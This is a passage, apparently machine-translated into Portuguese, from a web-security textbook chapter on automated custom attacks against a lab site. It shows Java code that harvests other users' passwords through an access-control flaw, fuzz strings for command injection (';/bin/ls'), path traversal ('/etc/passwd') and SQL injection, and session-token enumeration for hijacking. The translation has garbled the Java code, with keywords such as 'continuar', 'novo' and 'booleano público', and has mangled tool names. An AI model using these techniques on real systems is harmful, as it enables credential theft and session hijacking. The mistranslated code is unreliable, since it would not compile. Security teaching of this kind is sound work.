```

Embora essa função do aplicativo seja acessível somente por usuários autenticados, existe uma vulnerabilidade de controle de acesso, o que significa que qualquer usuário pode visualizar os detalhes de qualquer outro usuário simplesmente modificando o parâmetro `uid`. Em uma vulnerabilidade adicional, os detalhes divulgados também incluem as credenciais completas do usuário. Considerando o baixo valor do parâmetro `uid` para nosso usuário, deve ser fácil prever os identificadores de outros usuários.

Quando os detalhes de um usuário são exibidos, a fonte da página contém os dados pessoais em uma tabela HTML como a seguinte:

```
<tr>
    <td>Nome: </td><td>Phill Bellend</td>
</tr>
<tr>
    <td>Nome de usuário: </td><td>phillb</td>
</tr>
```

```
<tr>
    <td>Senha: </td><td>b3ll3nd</td>
</tr>
...
```

Considerando o comportamento do aplicativo, é fácil montar um ataque automatizado personalizado para coletar todas as informações do usuário, incluindo credenciais, mantidas no aplicativo.

Para isso, vamos fazer alguns aprimoramentos rápidos na ferramenta JAttack para permitir que ela extraia e registre dados específicos das respostas do servidor. Primeiro, podemos adicionar aos dados de configuração do ataque uma lista das cadeias de caracteres no código-fonte que identificam o conteúdo interessante que queremos extrair:

```
static final String[] extractStrings = new String[]
{
    "<td>Name: </td><td>",
    "<td>Username: </td><td>",
    "<td>Password: </td><td>"
};
```

Em segundo lugar, podemos adicionar o seguinte ao método `parseResponse` para pesquisar cada resposta para cada uma dessas cadeias de caracteres e extrair o que vem a seguir, até a chave angular que a segue:

```
for (String extract : extractStrings)
{
    int from = response.indexOf(extract); if
    (from == -1)
        continuar;
    from += extract.length();
    int to = response.indexOf("<", from); if
    (to == -1)
        to = response.length(); output.append(response.subSequence(from,
    to) + "\t");
}
```

Isso é tudo o que precisamos alterar no código real da ferramenta. Para configurar o JAttack para direcionar a solicitação real na qual estamos interessados, precisamos atualizar sua configuração de ataque da seguinte forma:

```
String url = "/auth/498/YourDetails.ashx";
Param[] params = new Param[]
{
    novo Param("SessionId", "0947F6DC9A66D29F15362D031B337797",
        Param.Type.COOKIE, false),
    novo Param("uid", "198", Param.Type.URL, true),
};
PayloadSource payloads = new PSNumbers(190, 200, 1);
```

Essa configuração instrui o JAttack a fazer solicitações ao URL relevante contendo os dois parâmetros necessários: o cookie contendo nosso token de sessão atual e o identificador de usuário vulnerável. Apenas um deles será de fato modificado, usando o intervalo de possíveis números `uid` especificados.

Quando executamos o JAttack, obtemos o seguinte resultado:

```
úid   190    500    300
úid   191    200    27489      Adam Matthews     seis        b4dl1ght
                                                  pacotes
úid   192    200    28991      Pablina S         pablo       puntita5ª
úid   193    200    29430      Shawn             gorduroso   gr3ggslu7
úid   194    500    300
úid   195    200    28224      Casa de Ruth      ruth_h      lonelypu55
úid   196    500    300
úid   197    200    28171      Chardonnay        vegasc      dangermou5e
úid   198    200    27880      Phill Bellend     phillb      b3ll3nd
úid   199    200    28901      Paul Byrne        byrnsey     l33tfuzz
úid   200    200    27388      Peter Weiner      weiner      skinth1rd
```

Como você pode ver, o ataque foi bem-sucedido e capturou os detalhes de alguns usuários. Ampliando o intervalo numérico usado no ataque, poderíamos extrair as informações de login de todos os usuários do aplicativo, incluindo, com sorte, alguns administradores do aplicativo.

EXPERIMENTE!

`http://mdsec.net/auth/498/`

Observe que, se você estiver executando o código de amostra do JAttack em relação a este exemplo de laboratório, precisará ajustar o URL, o cookie de sessão e o parâmetro de ID do usuário usados
em sua configuração de ataque, de acordo com os valores emitidos pelo aplicativo.

DICA A saída de dados em formato delimitado por tabulação pode ser facilmente carregada em um software de planilha eletrônica, como o Excel, para manipulação ou organização adicional. Em muitas situações, o resultado de um exercício de coleta de dados pode ser usado como entrada para outro ataque automatizado.

Fuzzing para vulnerabilidades comuns

O terceiro principal uso da automação personalizada não envolve o direcionamento de nenhuma vulnerabilidade conhecida para enumerar ou extrair informações. Em vez disso, seu objetivo é sondar o aplicativo com várias sequências de ataque criadas para causar um comportamento anômalo no aplicativo se determinadas vulnerabilidades comuns

estão presentes. Esse tipo de ataque é muito menos focado do que os descritos anteriormente, pelos seguintes motivos:

- Em geral, envolve o envio do mesmo conjunto de cargas úteis de ataque como cada parâmetro para cada página do aplicativo, independentemente da função normal de cada parâmetro ou do tipo de dados que o aplicativo espera receber. Essas cargas úteis às vezes são chamadas de *fuzz strings*.
- Você não sabe de antemão exatamente como identificar os acertos. Em vez de monitorar as respostas do aplicativo em busca de um indicador específico de sucesso, você geralmente precisa capturar o máximo de detalhes possível em um formato claro. Em seguida, é possível analisar facilmente essas informações para identificar casos em que a sequência de ataque acionou algum comportamento anômalo no aplicativo que mereça uma investigação mais aprofundada.

Como você viu ao examinar várias falhas comuns em aplicativos Web, algumas vulnerabilidades se manifestam no comportamento do aplicativo de maneiras específicas e reconhecíveis, como uma mensagem de erro específica ou códigos de status HTTP. Às vezes, pode-se confiar nessas assinaturas de vulnerabilidade para detectar defeitos comuns e elas são o meio pelo qual os scanners automatizados de vulnerabilidades de aplicativos identificam a maioria de suas descobertas (consulte o Capítulo 20). Entretanto, em princípio, qualquer string de teste que você enviar ao aplicativo pode dar origem a *qualquer* comportamento esperado que, em seu contexto específico, aponte para a presença de uma vulnerabilidade. Por esse motivo, um invasor experiente que usa técnicas automatizadas personalizadas geralmente é muito mais eficaz do que qualquer ferramenta totalmente automatizada. Esse invasor pode realizar uma análise inteligente de cada detalhe pertinente das respostas do aplicativo. Ele pode pensar como um designer e desenvolvedor de aplicativos. E pode detectar e investigar conexões incomuns entre solicitações e respostas de uma forma que nenhuma ferramenta a t u a l pode fazer.

O uso da automação para facilitar a descoberta de vulnerabilidades é particularmente vantajoso em um aplicativo grande e complexo que contém dezenas de páginas dinâmicas, cada uma das quais aceita vários parâmetros. Testar cada solicitação manualmente e rastrear os detalhes pertinentes das respostas do aplicativo às solicitações relacionadas é praticamente impossível. A única maneira prática de sondar esse tipo de aplicativo é aproveitar a automação para replicar muitas das tarefas trabalhosas que, de outra forma, você precisaria executar manualmente.

Depois de identificar e explorar os controles de acesso quebrados no exemplo anterior, também poderíamos realizar um ataque de fuzzing para verificar várias vulnerabilidades baseadas em entrada. Como uma exploração inicial da superfície de ataque, decidimos enviar as seguintes cadeias de caracteres em cada parâmetro:

- `'` - Isso gera um erro em algumas instâncias de injeção de SQL.
- `;/bin/ls` - Essa cadeia de caracteres causa um comportamento inesperado em alguns casos de injeção de comando.

- `../../../../../../etc/passwd` - Essa cadeia de caracteres causa uma resposta diferente em alguns casos em que existe uma falha de passagem de caminho.
- `xsstest` - Se essa string for copiada na resposta do servidor, o aplicativo poderá estar vulnerável a scripts entre sites.

Podemos estender a ferramenta JAttack para gerar esses payloads criando uma nova fonte de payload:

```
classe PSFuzzStrings implementa PayloadSource
{
    static final String[] fuzzStrings = new String[]
    {
        "'", ";/bin/ls", "../../../../../../etc/passwd", "xsstest"
    };
    int current = -1;

    booleano público nextPayload()
    {
        atual++;
        return current < fuzzStrings.length;
    }

    público void reset()
    {
        atual = -1;
    }

    público String getPayload()
    {
        return fuzzStrings[current];
    }
}
```

OBSERVAÇÃO Qualquer ataque sério para sondar o aplicativo em busca de falhas de segurança precisaria empregar muitas outras cadeias de ataque para identificar outros pontos fracos e outras variações dos defeitos mencionados anteriormente. Consulte o Capítulo 21 para obter uma lista mais abrangente das cadeias de caracteres que são eficazes ao fazer fuzzing em um aplicativo da Web.

Para usar o JAttack para fuzzing, também precisamos estender seu código de análise de resposta para fornecer mais informações sobre cada resposta recebida do aplicativo. Uma maneira simples de aprimorar bastante essa análise é pesquisar cada resposta em busca de várias cadeias de caracteres e mensagens de erro comuns que possam indicar a ocorrência de algum comportamento anômalo e registrar qualquer aparência na saída da ferramenta.

Primeiro, podemos adicionar aos dados de configuração do ataque uma lista das cadeias de caracteres que queremos pesquisar:

```
static final String[] grepStrings = new String[]
{
    "error", "exception", "illegal", "quotation", "not found", "xsstest"
};
```

Em segundo lugar, podemos adicionar o seguinte ao método `parseResponse` para pesquisar cada resposta em busca das cadeias de caracteres anteriores e registrar as que forem encontradas:

```
for (String grep : grepStrings)
    if (response.indexOf(grep) != -1)
        output.append(grep + "\t");
```

DICA A incorporação dessa funcionalidade de pesquisa no JAttack frequentemente se mostra útil ao enumerar identificadores dentro do aplicativo. É comum descobrir que o indicador mais confiável de um resultado é a presença ou ausência de uma expressão específica na resposta do aplicativo.

Isso é tudo o que precisamos fazer para criar um fuzzer básico de aplicativo da Web. Para realizar o ataque real, basta atualizar a configuração do JAttack para atacar os dois parâmetros da solicitação e usar nossas strings de fuzz como cargas úteis:

```
String host = "mdsec.net";
int port = 80;
String method = "GET";
String url = "/auth/498/YourDetails.ashx";
Param[] params = new Param[]
{
    novo Param("SessionId", "C1F5AFDD7DF969BD1CD2CE40A2E07D19",
        Param.Type.COOKIE, true),
    novo Param("uid", "198", Param.Type.URL, true),
};

PayloadSource payloads = new PSFuzzStrings();
```

Com essa configuração em vigor, podemos lançar nosso ataque. Em poucos segundos, o JAttack enviou cada carga útil de ataque dentro de cada parâmetro da solicitação, o que levaria vários minutos, no mínimo, para ser feito manualmente. Também teria levado muito mais tempo para revisar e analisar as respostas brutas recebidas. A próxima tarefa é inspecionar manualmente a saída do JAttack e tentar identificar quaisquer resultados anômalos que possam indicar a presença de uma vulnerabilidade:

param	carga útil	status	comprimento
SessionId	'	302	502
SessionId	;/bin/ls	302	502

```
SessionId   ../../../../../../../etc/passwd  302      502
SessionId   xsstest                          302      502
úid         '                                200      2941     cotação de exceção
úid         ;/bin/ls                         200      2895     exceção
úid         ../../../../../../../etc/passwd  200      2915     exceção
úid         xsstest                          200      2898     exceção xsstest
```

Nas solicitações que modificam o parâmetro `SessionId`, o aplicativo responde com uma resposta de redirecionamento que sempre tem o mesmo comprimento. Esse comportamento não indica nenhuma vulnerabilidade. Isso não é surpreendente, pois a modificação do token de sessão durante o login geralmente invalida a sessão atual e causa um redirecionamento para o login.

O parâmetro `uid` é mais interessante. Todas as modificações nesse parâmetro causam uma resposta que contém a string `exception`. As respostas têm tamanho variável, indicando que as diferentes cargas úteis resultam em respostas diferentes, portanto, provavelmente não se trata apenas de uma mensagem de erro genérica. Além disso, podemos ver que, quando uma única aspa é enviada, a resposta do aplicativo contém a string `quotation`, que provavelmente faz parte de uma mensagem de erro de SQL. Isso pode ser uma falha de injeção de SQL, e devemos investigar manualmente para confirmar isso (consulte o Capítulo 9). Além disso, podemos ver que a carga útil `xsstest` está sendo ecoada na resposta do aplicativo. Devemos investigar mais esse comportamento para determinar se a mensagem de erro pode ser aproveitada para realizar um ataque de script entre sites (consulte o Capítulo 12).

EXPERIMENTE!

`http://mdsec.net/auth/498/`

Colocando tudo junto: Intruso de arroto

A ferramenta JAttack consiste em menos de 250 linhas de código simples, mas, em poucos segundos, descobriu pelo menos duas vulnerabilidades de segurança potencialmente graves ao fazer fuzzing em uma única solicitação a um aplicativo.

No entanto, apesar de seu poder, assim que começar a usar uma ferramenta como o JAttack para fornecer ataques personalizados automatizados, você identificará rapidamente a funcionalidade adicional que a tornaria ainda mais útil. Da forma como está, você precisa configurar cada solicitação direcionada no código-fonte da ferramenta e, em seguida, recompilá-la. Seria melhor ler essas informações de um arquivo de configuração e construir dinamicamente o ataque no tempo de execução. De fato, seria muito

é melhor ter uma interface de usuário agradável que permita configurar cada um dos ataques descritos em poucos segundos.

Há muitas situações em que você precisa de mais flexibilidade na forma como as cargas úteis são geradas, exigindo fontes de carga útil muito mais avançadas do que as que criamos. Muitas vezes, você também precisará de suporte para SSL, autenticação HTTP, solicitações multithread, acompanhamento automático de redirecionamentos e codificação automática de caracteres incomuns em cargas úteis. Há situações em que a modificação de um único parâmetro por vez seria muito restritiva. Você desejará injetar uma fonte de carga útil em um parâmetro e uma fonte diferente em outro. Seria bom armazenar todas as respostas do aplicativo para facilitar a consulta, de modo que você possa inspecionar imediatamente uma resposta interessante para entender o que está acontecendo e até mesmo mexer manualmente na solicitação correspondente e reemiti-la. Além de modificar e emitir uma única solicitação repetidamente, em algumas situações você precisa lidar com processos de vários estágios, sessões de aplicativos e tokens por solicitação. Também seria bom integrar a ferramenta com outras ferramentas úteis, como um proxy e um spider, evitando a necessidade de recortar e colar informações.

O Burp Intruder é uma ferramenta exclusiva que implementa toda essa funcionalidade. Ela foi projetada especificamente para permitir que você execute todos os tipos de ataques automáticos personalizados com um mínimo de configuração e para apresentar os resultados com uma grande quantidade de detalhes, permitindo que você se concentre rapidamente em acertos e outros casos de teste anômalos. Ele também é totalmente integrado às outras ferramentas do Burp Suite. Por exemplo, você pode interceptar uma solicitação no proxy, passá-la para o Intruder para que seja feita a fuzificação e passar os resultados interessantes para o Repeater para confirmar e explorar todos os tipos de vulnerabilidades.

Descreveremos as funções básicas e a configuração do Burp Intruder e, em seguida, veremos alguns exemplos de seu uso na execução de ataques automatizados personalizados.

Cargas úteis de posicionamento

O Burp Intruder usa um modelo conceitual semelhante ao usado pelo JAttack, baseado no posicionamento de cargas úteis em pontos específicos de uma solicitação e em uma ou mais fontes de carga útil. No entanto, o Intruder não se limita a inserir cadeias de caracteres de carga útil nos valores dos parâmetros reais da solicitação. As cargas úteis podem ser posicionadas em uma subparte do valor de um parâmetro, ou no nome de um parâmetro ou, de fato, em qualquer lugar dentro dos cabeçalhos ou do corpo de uma solicitação.

Depois de identificar uma solicitação específica a ser usada como base para o ataque, cada posição de carga útil é definida usando um par de marcadores para indicar o início e o fim do ponto de inserção da carga útil, conforme mostrado na Figura 14-1.

Figura 14-1: Cargas úteis de posicionamento

Quando uma carga útil é inserida em uma determinada posição, qualquer texto entre os marcadores é substituído pela carga útil. Quando uma carga útil não está sendo inserida, o texto entre os marcadores é enviado em seu lugar. Isso é necessário para testar um parâmetro de cada vez, deixando os outros inalterados, como na execução de fuzzing de aplicativos. Clicar no botão Auto faz com que o Intruder defina as posições da carga útil nos valores de todos os parâmetros de URL, cookie e corpo, automatizando assim uma tarefa tediosa que era feita manualmente no JAttack.

O tipo de ataque sniper é o que você precisará com mais frequência. Ele funciona da mesma forma que o mecanismo de solicitação do JAttack, visando uma posição de carga útil por vez, enviando todas as cargas úteis nessa posição e, em seguida, passando para a próxima posição. Outros tipos de ataque permitem que você atinja várias posições simultaneamente de maneiras diferentes, usando vários conjuntos de cargas úteis.

Escolha de cargas úteis

A próxima etapa na preparação de um ataque é escolher o conjunto de cargas úteis a serem inseridas nas posições definidas. O Intruder contém várias funções integradas para gerar cargas úteis de ataque, incluindo as seguintes:

- Listas de itens predefinidos e configuráveis.
- Iteração personalizada de cargas úteis com base em qualquer esquema sintático. Por exemplo, se o aplicativo usar nomes de usuário do formato ABC45D, o iterador personalizado poderá ser usado para percorrer o intervalo de todos os nomes de usuário possíveis.
- Substituição de caracteres e maiúsculas e minúsculas. A partir de uma lista inicial de cargas úteis, o Intruder pode modificar caracteres individuais e suas letras maiúsculas e minúsculas para gerar variações. Isso pode ser útil ao forçar senhas com força bruta. Por exemplo, `a string password` pode ser modificada para se tornar `p4ssword`, `passw0rd`, `Password`, `PASSWORD` e assim por diante.
- Números, que podem ser usados para percorrer IDs de documentos, tokens de sessão e assim por diante. Os números podem ser criados em decimal ou hexadecimal, como números inteiros ou frações, sequencialmente, em incrementos escalonados ou aleatoriamente. A produção de números aleatórios dentro de um intervalo definido pode ser útil na busca de ocorrências quando você tem uma ideia do tamanho de alguns valores válidos, mas não identificou nenhum padrão confiável para extrapolá-los.
- Datas, que podem ser usadas da mesma forma que os números em algumas situações. Por exemplo, se um formulário de login exigir a inserção de uma data de nascimento, essa função poderá ser usada para forçar todas as datas válidas dentro de um intervalo especificado.
- Codificações Unicode ilegais, que podem ser usadas para contornar alguns filtros de entrada enviando codificações alternativas de caracteres maliciosos.
- Blocos de caracteres, que podem ser usados para sondar vulnerabilidades de estouro de buffer (consulte o Capítulo 16).
- Uma função de força bruta, que pode ser usada para gerar todas as permutações de um determinado conjunto de caracteres em um intervalo específico de comprimentos. O uso dessa função é um último recurso na maioria das situações devido ao grande número de solicitações que ela gera. Por exemplo, a força bruta de todas as senhas possíveis de seis dígitos contendo apenas caracteres alfabéticos minúsculos produz mais de três milhões de permutações - mais do que pode ser testado na prática apenas com acesso remoto ao aplicativo.
- Funções "Character frobber" e "bit flipper", que podem ser usadas para manipular sistematicamente partes do valor existente de um parâmetro para sondar o tratamento de modificações sutis pelo aplicativo (consulte o Capítulo 7).

Além das funções de geração de carga útil, você pode configurar regras para executar um processamento arbitrário no valor de cada carga útil antes de ser usado. Isso inclui manipulação de cadeias de caracteres e maiúsculas e minúsculas, codificação e decodificação em vários esquemas e hashing. Isso permite que você crie cargas úteis em muitos tipos de situações incomuns.

Por padrão, o Burp Intruder codifica na URL todos os caracteres que possam invalidar sua solicitação se forem colocados na solicitação em sua forma literal.

Configuração da análise de resposta

Para muitos tipos de ataques, você deve identificar os atributos das respostas do servidor que você está interessado em analisar. Por exemplo, ao enumerar identificadores, talvez você precise pesquisar uma cadeia de caracteres específica em cada resposta. Ao fazer fuzzing, talvez você queira procurar um grande número de mensagens de erro comuns e similares.

Por padrão, o Burp Intruder registra em sua tabela de resultados o código de status HTTP, a duração da resposta, todos os cookies definidos pelo servidor e o tempo necessário para receber a resposta. Assim como no JAttack, você também pode configurar o Burp Intruder para executar algumas análises personalizadas das respostas do aplicativo para ajudar a identificar casos interessantes que possam indicar a presença de uma vulnerabilidade ou que mereçam uma investigação mais aprofundada. Você pode especificar cadeias de caracteres ou expressões regex para as quais as respostas serão pesquisadas. Você pode definir cadeias personalizadas para controlar a extração de dados das respostas do servidor. E você pode fazer com que o Intruder verifique se cada resposta contém a própria carga de ataque para ajudar a identificar scripts entre sites e outras vulnerabilidades de injeção de resposta. Essas configurações podem ser definidas antes do lançamento de cada ataque e também podem ser aplicadas aos resultados do ataque após o início do mesmo.

Depois de configurar as posições de carga útil, as fontes de carga útil e qualquer análise necessária das respostas do servidor, você está pronto para lançar o seu ataque. Vamos dar uma olhada rápida em como o Intruder pode ser usado para realizar alguns ataques automatizados personalizados comuns.

Ataque 1: enumeração de identificadores

Suponha que você esteja direcionando um aplicativo que ofereça suporte ao autorregistro para usuários anônimos. Você cria uma conta, faz login e obtém acesso a um mínimo de funcionalidade. Nesse estágio, uma área de interesse óbvio são os tokens de sessão do aplicativo. Fazer login várias vezes em uma sucessão próxima gera a seguinte sequência:

```
000000-fb2200-16cb12-172ba72551
000000-bc7192-16cb12-172ba7279e
000000-73091f-16cb12-172ba729e8
000000-918cb1-16cb12-172ba72a2a
000000-aa820f-16cb12-172ba72b58
000000-bc8710-16cb12-172ba72e2b
```

Você segue as etapas descritas no Capítulo 7 para analisar esses tokens. É evidente que aproximadamente metade do token não está sendo alterada, mas você também descobre que a segunda parte do token também não é realmente processada pelo aplicativo. A modificação completa dessa parte não invalida seus tokens. Além disso, embora não seja trivialmente sequencial, a parte final parece claramente estar sendo incrementada de alguma forma. Essa parece ser uma oportunidade promissora para um ataque de sequestro de sessão.

Para aproveitar a automação para realizar esse ataque, você precisa encontrar um único par de solicitação/resposta que possa ser usado para detectar tokens válidos. Normalmente, qualquer solicitação de uma página autenticada do aplicativo servirá para esse fim. Você decide direcionar a página apresentada a cada usuário após o login:

```
GET /auth/502/Home.ashx HTTP/1.1
Host: mdsec.net
Cookie: SessionID=000000-fb2200-16cb12-172ba72551
```

Com base no que você sabe sobre a estrutura e o manuseio dos tokens de sessão, seu ataque precisa modificar apenas a parte final do token. De fato, devido à sequência identificada, o ataque inicial mais produtivo modifica apenas os últimos dígitos do token. Dessa forma, você configura o Intruder com uma única posição de carga útil, conforme mostrado na Figura 14-2.

Figura 14-2: Definição de uma posição de carga útil personalizada

Seus payloads precisam sequenciar todos os valores possíveis para os três dígitos finais. O token parece usar o mesmo conjunto de caracteres dos números hexadecimais: 0 a 9 e a a f. Portanto, você configura uma fonte de carga útil para gerar todos os números hexadecimais no intervalo de 0x000 a 0xfff, conforme mostrado na Figura 14-3.

Figura 14-3: Configuração de cargas úteis numéricas

Em ataques para enumerar tokens de sessão válidos, a identificação de acertos é normalmente simples. No caso presente, você determinou que o aplicativo retorna uma resposta HTTP 200 quando um token válido é fornecido e um redirecionamento HTTP 302 para a página de login quando um token inválido é fornecido. Portanto, você não precisa configurar nenhuma análise de resposta personalizada para esse ataque.

O lançamento do ataque faz com que o Intruder itere rapidamente as solicitações. Os resultados do ataque são exibidos na forma de uma tabela. Você pode clicar em cada título de coluna para classificar os resultados de acordo com o conteúdo dessa coluna. A classificação por código de status permite que você identifique facilmente os tokens válidos que descobriu, conforme mostrado na Figura 14-4. Você também pode usar as funções de filtragem e pesquisa na janela de resultados para ajudar a localizar itens interessantes em um grande conjunto de resultados.

Figura 14-4: Classificação dos resultados do ataque para identificar rapidamente os acertos

O ataque foi bem-sucedido. Você pode pegar qualquer um dos payloads que causaram respostas HTTP 200, substituir os três últimos dígitos do seu token de sessão por esse e, assim, sequestrar as sessões de outros usuários do aplicativo. No entanto, dê uma olhada mais de perto na tabela de resultados. A maioria das respostas HTTP 200 tem aproximadamente o mesmo comprimento de resposta, porque a página inicial apresentada a diferentes usuários é mais ou menos a mesma. Entretanto, duas das respostas são muito mais longas, indicando que uma página inicial diferente foi retornada.

Você pode clicar duas vezes em um item de resultado no Intruder para exibir a resposta do servidor na íntegra, seja como HTTP bruto ou renderizado como HTML. Isso revela que as páginas iniciais mais longas contêm mais opções de menu e detalhes diferentes dos da sua página inicial. Parece que essas duas sessões sequestradas pertencem a usuários mais privilegiados.

EXPERIMENTE!

http://mdsec.net/auth/502/

DICA O comprimento da resposta frequentemente é um forte indicador de respostas anômalas que merecem investigação adicional. Como no caso anterior, um comprimento de resposta diferente pode indicar diferenças interessantes que talvez você não t e n h a previsto quando planejou o ataque. Portanto, mesmo que outro atributo forneça um indicador confiável de ocorrências, como o código de status HTTP, você deve sempre inspecionar a coluna de comprimento da resposta para identificar outras respostas interessantes.

Ataque 2: coleta de informações

Navegando mais na área autenticada do aplicativo, você percebe que ele usa um número de índice em um parâmetro de URL para identificar as funções solicitadas pelo usuário. Por exemplo, o URL a seguir é usado para exibir a página My Details do usuário atual:

```
https://mdsec.net/auth/502/ShowPage.ashx?pageid=32010039
```

Esse comportamento oferece uma excelente oportunidade para procurar funcionalidades que você ainda não descobriu e para as quais talvez não esteja devidamente autorizado. Para fazer isso, você pode usar o Burp Intruder para percorrer um intervalo de possíveis valores `de pageid` e extrair o título de cada página encontrada.

Nessa situação, geralmente é sensato começar a procurar conteúdo dentro de um intervalo numérico que se sabe conter valores válidos. Para fazer isso, você pode definir os marcadores de posição da carga útil para que tenham como alvo os dois dígitos finais do `ID da página`, conforme mostrado na Figura 14-5, e gerar cargas úteis no intervalo de 00 a 99.

Você pode configurar o Intruder para capturar o título da página de cada resposta usando a função Extract Grep. Isso funciona de forma muito parecida com a função extract do JAttack - você especifica a expressão que precede o item que deseja extrair, conforme mostrado na Figura 14-6.

O lançamento desse ataque percorre rapidamente todos os valores possíveis para os dois últimos dígitos do parâmetro `pageid` e mostra o título da página de cada resposta, conforme mostrado na Figura 14-7. Como você pode ver, várias respostas parecem conter funcionalidades administrativas interessantes. Além disso, algumas das respostas são redirecionamentos para um URL diferente, o que justifica uma investigação mais aprofundada. Se desejar, você pode reconfigurar o ataque do Intruder para extrair o alvo dessas direções ou até mesmo para segui-las automaticamente e mostrar o título da página da eventual resposta.

EXPERIMENTE!

```
http://mdsec.net/auth/502/
```

Figura 14-5: Posicionamento da carga útil

Figura 14-6: Configuração do Extract Grep

Figura 14-7: Percorrendo os valores de índice da função e extraindo o título de cada página resultante

Ataque 3: Fuzzing de aplicativos

Além de explorar os bugs já identificados, você deve, é claro, sondar o aplicativo de destino em busca de vulnerabilidades comuns. Para garantir uma cobertura decente, você deve testar todos os parâmetros e solicitações, começando pela solicitação de login em diante.

Para realizar um teste rápido de fuzz de uma determinada solicitação, você precisa definir as posições da carga útil em todos os parâmetros da solicitação. Você pode fazer isso simplesmente clicando no botão automático na guia positions (posições), conforme mostrado na Figura 14-8.

Em seguida, você precisa configurar um conjunto de cadeias de caracteres de ataque para usar como cargas úteis e algumas mensagens de erro comuns para pesquisar respostas. O Intruder contém conjuntos de strings incorporados para esses dois usos.

Assim como no ataque de fuzzing realizado com o JAttack, você precisa revisar manualmente a tabela de resultados para identificar quaisquer anomalias que mereçam investigação adicional, conforme mostrado na Figura 14-9. Como antes, você pode clicar nos cabeçalhos das colunas para classificar as respostas de várias maneiras para ajudar a identificar casos interessantes.

Figura 14-8: Configuração do Burp Intruder para fazer fuzz em uma solicitação de login

Figura 14-9: Resultados da fuzificação de uma única solicitação

Com base em uma análise inicial dos resultados, parece que o aplicativo é vulnerável à injeção de SQL. Em ambas as posições de carga útil, quando uma única aspa é enviada, o aplicativo retorna uma resposta diferente com uma mensagem contendo as strings `aspas` e `sintaxe`. Esse comportamento definitivamente justifica alguma investigação manual para confirmar e explorar o bug.

EXPERIMENTE!

`http://mdsec.net/auth/502/`

DICA Você pode clicar com o botão direito do mouse em qualquer resultado que pareça interessante e enviar a resposta para a ferramenta Repetidor de burp. Isso permite que você modifique a solicitação manualmente e a reemita várias vezes para testar o tratamento de diferentes cargas úteis pelo aplicativo, sondar desvios de filtro ou fornecer explorações reais.

Barreiras à automação

Em muitos aplicativos, as técnicas descritas até agora neste capítulo podem ser aplicadas sem problemas. Em outros casos, no entanto, você pode encontrar vários obstáculos que o impedem de realizar diretamente ataques automatizados personalizados.

As barreiras à automação geralmente se enquadram em duas categorias:

- Mecanismos de tratamento de sessão que encerram sessões de forma defensiva em resposta a solicitações inesperadas, empregam valores de parâmetros efêmeros, como tokens anti-CSRF que mudam por solicitação (consulte o Capítulo 13), ou envolvem processos de vários estágios.
- Controles CAPTCHA projetados para impedir que ferramentas automatizadas acessem uma função específica do aplicativo, como uma função para registrar novas contas de usuário.

Examinaremos cada uma dessas situações e descreveremos maneiras pelas quais você poderá contornar as barreiras à automação, seja refinando suas ferramentas automatizadas ou encontrando defeitos nas defesas do aplicativo.

Mecanismos de tratamento de sessão

Muitos aplicativos empregam mecanismos de tratamento de sessão e outras funcionalidades com estado que podem apresentar problemas para os testes automatizados. Veja a seguir algumas situações em que podem surgir obstáculos:

- Enquanto você estiver testando uma solicitação, o aplicativo encerrará a sessão que está sendo usada para o teste, seja de forma defensiva ou por outros motivos, e o restante do exercício de teste será ineficaz.
- Uma função de aplicativo emprega um token de alteração que deve ser fornecido com cada solicitação (por exemplo, para evitar ataques de falsificação de solicitações).
- A solicitação que está sendo testada aparece em um processo de vários estágios. A solicitação é tratada adequadamente somente se uma série de outras solicitações tiver sido feita primeiro para colocar o aplicativo em um estado adequado.

Obstáculos desse tipo sempre podem ser contornados, em princípio, refinando suas técnicas de automação para trabalhar com quaisquer mecanismos que o aplicativo esteja usando. Se você estiver escrevendo seu próprio código de teste nos moldes do JAttack, poderá implementar diretamente o suporte a mecanismos específicos de manipulação de tokens ou de vários estágios. No entanto, essa abordagem pode ser complexa e não se adapta muito bem a aplicativos grandes. Na prática, a necessidade de escrever um novo código personalizado para lidar com cada nova instância de um problema pode representar uma barreira significativa para o uso da automação, e você pode acabar voltando a usar técnicas manuais mais lentas.

Suporte ao tratamento de sessões no Burp Suite

Felizmente, o Burp Suite oferece uma série de recursos para lidar com todas essas situações da maneira mais simples possível, permitindo que você continue seus testes enquanto o Burp lida com os obstáculos sem problemas em segundo plano. Esses recursos são baseados nos seguintes componentes:

- Pote de biscoitos
- Macros de solicitação
- Regras de tratamento de sessão

Descreveremos brevemente como esses recursos podem ser combinados para superar as barreiras à automação e permitir que você continue testando nas várias situações descritas. Há ajuda mais detalhada disponível na documentação on-line do Burp Suite.

Pote de biscoitos

O Burp Suite mantém seu próprio frasco de cookies, que rastreia os cookies de aplicativos usados pelo seu navegador e pelas próprias ferramentas do Burp. Você pode configurar como o Burp atualiza automaticamente o frasco de cookies e também pode visualizar e editar seu conteúdo diretamente, conforme mostrado na Figura 14-10.

Figura 14-10: O pote de biscoitos do Burp Suite

Por si só, o cookie jar não faz nada, mas os valores-chave que ele rastreia podem ser usados em outros componentes do suporte ao tratamento de sessão do Burp.

Macros de solicitação

Uma macro é uma sequência predefinida de uma ou mais solicitações. As macros podem ser usadas para executar várias tarefas relacionadas à sessão, incluindo as seguintes:

- Buscar uma página do aplicativo (como a página inicial do usuário) para verificar se a sessão atual ainda é válida
- Realização de um login para obter uma nova sessão válida
- Obtenção de um token ou nonce para ser usado como parâmetro em outra solicitação
- Ao fazer a varredura ou o fuzzing de uma solicitação em um processo de várias etapas, executar as solicitações anteriores necessárias para colocar o aplicativo em um estado em que a solicitação visada será aceita

As macros são registradas usando o navegador. Ao definir uma macro, o Burp exibe uma visualização do histórico do Proxy, a partir da qual você pode selecionar as solicitações a serem usadas para a macro. Você pode selecionar as solicitações feitas anteriormente ou gravar a macro novamente e selecionar os novos itens do histórico, conforme mostrado na Figura 14-11.

Para cada item da macro, as seguintes configurações podem ser definidas, conforme mostrado na Figura 14-12:

- Se os cookies do pote de cookies devem ser adicionados à solicitação
- Se os cookies recebidos na resposta devem ser adicionados ao jarro de cookies
- Para cada parâmetro na solicitação, se ele deve usar um valor predefinido ou um valor derivado de uma resposta anterior na macro

Figura 14-11: Gravação de uma macro de solicitação no Burp Suite

Figura 14-12: Configuração do manuseio de cookies e parâmetros para um item de macro

A capacidade de derivar o valor de um parâmetro de uma resposta anterior na macro é particularmente útil em alguns processos de vários estágios e em situações em que os aplicativos fazem uso agressivo de tokens anti-CSRF. Quando você define uma nova macro, o Burp tenta encontrar automaticamente quaisquer relações desse tipo, identificando parâmetros cujos valores podem ser determinados a partir da resposta anterior (valores de campo de formulário, alvos de redirecionamento, cadeias de consulta em links).

Regras de tratamento de sessão

